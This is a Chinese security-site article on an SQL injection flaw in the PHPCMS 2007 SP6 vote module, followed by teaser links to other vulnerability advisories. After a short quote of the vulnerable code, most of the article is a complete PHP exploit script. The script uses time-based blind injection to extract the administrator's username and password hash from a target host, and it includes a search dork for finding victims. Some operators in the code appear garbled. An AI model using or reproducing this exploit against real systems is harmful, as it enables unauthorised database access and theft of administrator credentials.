建站极客  
                        网络安全                          漏洞分析                          正文 
                     
                 
                
                    PHPCMS2007 SP6 vote模块SQL注射漏洞的分析                 
                
                    所属分类:
                        网络安全  / 漏洞分析                      
                    阅读数:
                        102 
                    
                        
                                 
                             收藏 0
                                 
                             赞 0
                                 
                             分享 
                    
                 
                
                     漏洞代码:
 
 vote/vote.php
 
 // 22行
 $optionids = is_array($op) ? implode(',',$op) : $op;
 ...
 $db->query("UPDATE ".TABLE_VOTE_OPTION." SET number = number 1 WHERE optionid IN ($optionids) ");
 
 漏洞很明显,没什么好说的,其他地方也有类似的问题,有兴趣的同学可以跟下,下面给个poc性质的exp[由于是盲注,效果不是很好]:p
 代码:
 
 #!/usr/bin/php
 <?php
 
 print_r('
  --------------------------------------------------------------------------- 
 Phpcms 2007 SP6 Bind SQL injection / admin credentials disclosure exploit
 by puret_t
 mail: puretot at gmail dot com
 team: http://www.wolvez.org
 dork: "Powered by Phpcms 2007"
  --------------------------------------------------------------------------- 
 ');
 /**
 * works regardless of php.ini settings
 */
 if ($argc < 3) {
 print_r('
  --------------------------------------------------------------------------- 
 Usage: php '.$argv[0].' host path
 host:      target server (ip/hostname)
 path:      path to phpcms
 Example:
 php '.$argv[0].' localhost /phpcms/
  --------------------------------------------------------------------------- 
 ');
 exit;
 }
 
 error_reporting(7);
 ini_set('max_execution_time', 0);
 
 $host = $argv[1];
 $path = $argv[2];
 
 $benchmark = 100000000;
 $timeout = 10;
 
 $cmd = 'voteid=999999&attribute=1&op=999999)/**/AND/**/ryat#';
 $resp = send();
 preg_match('/([a-z0-9] )_vote_option/', $resp, $pre);
 
 if ($pre) {
 echo "Plz Waiting...\n";
 /**
 * get admin password
 */
 $j = 1;
 $pass = '';
 
 $hash[0] = 0; //null
 $hash = array_merge($hash, range(48, 57)); //numbers
 $hash = array_merge($hash, range(97, 102)); //a-f letters
 
 while (strlen($pass) < 32) {
 for ($i = 0; $i <= 255; $i   ) {
 if (in_array($i, $hash)) {
 $cmd = 'voteid=999999&attribute=1&op=999999)/**/AND/**/(IF((ASCII(SUBSTRING((SELECT/**/password/**/FROM/**/'.$pre[1].'_member/**/WHERE/**/groupid=1/**/LIMIT/**/1),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))#';
 send();
 usleep(2000000);
 $starttime = time();
 send();
 $endtime = time();
 $difftime = $endtime - $starttime;
 if ($difftime > $timeout) {
 $pass .= chr($i);
 echo chr($i);
 break;
 }
 }
 if ($i == 255)
 exit("\nExploit Failed!\n");
 }
 $j   ;
 }
 echo "\t";
 /**
 * get admin username
 */
 $j = 1;
 $user = '';
 
 while (strstr($user, chr(0)) === false) {
 for ($i = 0; i <= 255; $i   ) {
 $cmd = 'voteid=999999&attribute=1&op=999999)/**/AND/**/(IF((ASCII(SUBSTRING((SELECT/**/username/**/FROM/**/'.$pre[1].'_member/**/WHERE/**/groupid=1/**/LIMIT/**/1),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark.',CHAR(0)),1))#';
 send();
 usleep(2000000);
 $starttime = time();
 send();
 $endtime = time();
 $difftime = $endtime - $starttime;
 if ($difftime > $timeout) {
 $user .= chr($i);
 echo chr($i);
 break;
 }
 if ($i == 255)
 exit("\nExploit Failed!\n");
 }
 $j   ;
 }
 
 exit("Expoilt Success!\nadmin:\t$user\nPassword(md5):\t$pass\n");
 } else
 exit("Exploit Failed!\n");
 
 function send()
 {
 global $host, $path, $cmd;
 
 $message = "POST ".$path."vote/vote.php  HTTP/1.1\r\n";
 $message .= "Accept: */*\r\n";
 $message .= "Accept-Language: zh-cn\r\n";
 $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
 $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
 $message .= "CLIENT-IP: ".time()."\r\n";
 $message .= "Host: $host\r\n";
 $message .= "Content-Length: ".strlen($cmd)."\r\n";
 $message .= "Connection: Close\r\n\r\n";
 $message .= $cmd;
 
 $fp = fsockopen($host, 80);
 fputs($fp, $message);
 
 $resp = '';
 
 while ($fp && !feof($fp))
 $resp .= fread($fp, 1024);
 
 return $resp;
 }
 
 ?>
 
                                     
             
            
                
                2007年12月网络安全漏洞总结  声明:本十大安全漏洞由NSFOCUS安全小组根据安全漏洞的严重程度、影响范围等因素综合评出,仅供参考
  1.2007-12-11 Microsoft消息队列服务栈溢出漏洞
  综述:
  Microsoft Windows是微软发布的非常流行的操
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
OmniPCX Enterprise存在远程命令注入漏洞 受影响系统:  
Alcatel-Lucent OmniPCX Enterprise <= 7.1  
不受影响系统:  
Alcatel-Lucent OmniPCX Enterprise 7.1 patch F5.401.19  
Alcatel-Luc
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
Sun Java jpiexp32.dll对象名称含空指针引用漏洞 受影响系统: 
Sun JRE < 5.0 Update 14 
不受影响系统: 
Sun JRE 5.0 Update 14 
描述: 
Solaris系统的Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。  
JRE处理畸
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
InterBase和Firebird远程栈缓冲区溢出漏洞 受影响系统: 
Borland InterBase WI-V8.1.0.257 
Borland InterBase WI-V8.0.0.123 
Borland InterBase WI-V7.5.1.80 
Borland InterB
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
IE 存在document.open()方式地址欺骗漏洞 受影响系统: 
Microsoft Internet Explorer 7.0 
Microsoft Internet Explorer 6.0 SP1 
Microsoft Internet Explorer 6.0 
Microsoft
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
Microsoft IE onunload事件地址栏欺骗漏洞 受影响系统: 
Microsoft Internet Explorer 7.0 
Microsoft Internet Explorer 6.0 SP1 
Microsoft Internet Explorer 6.0 
Microsoft Internet Ex
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
F2blog XMLRPC 上传任意文件漏洞 刚从官方下载的最新版:F2blog-v1.2_build_03.01_full
存在漏洞文件:xmlrpc.php,
影响:可上传任意文件到服务器。
原理:get_http_raw_post_data()是获取最原始的传递过来的数据,也是说不会因为PHP环境的ma
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
FTP客户端目录遍历漏洞可向任意位置写文件 FFFTP是一款小型的FTP客户端软件。FFFTP客户端没有正确地验证FTP服务器所返回的LIST命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的FTP服务器下载的目录包含有带有恶意文件名的文件的话,就可能导致向用户系统的任意位置写入文件。  
    受影
                    评论 0 
                    
                         
                     收藏 0
                         
                     赞 0
                         
                     分享
                 查看更多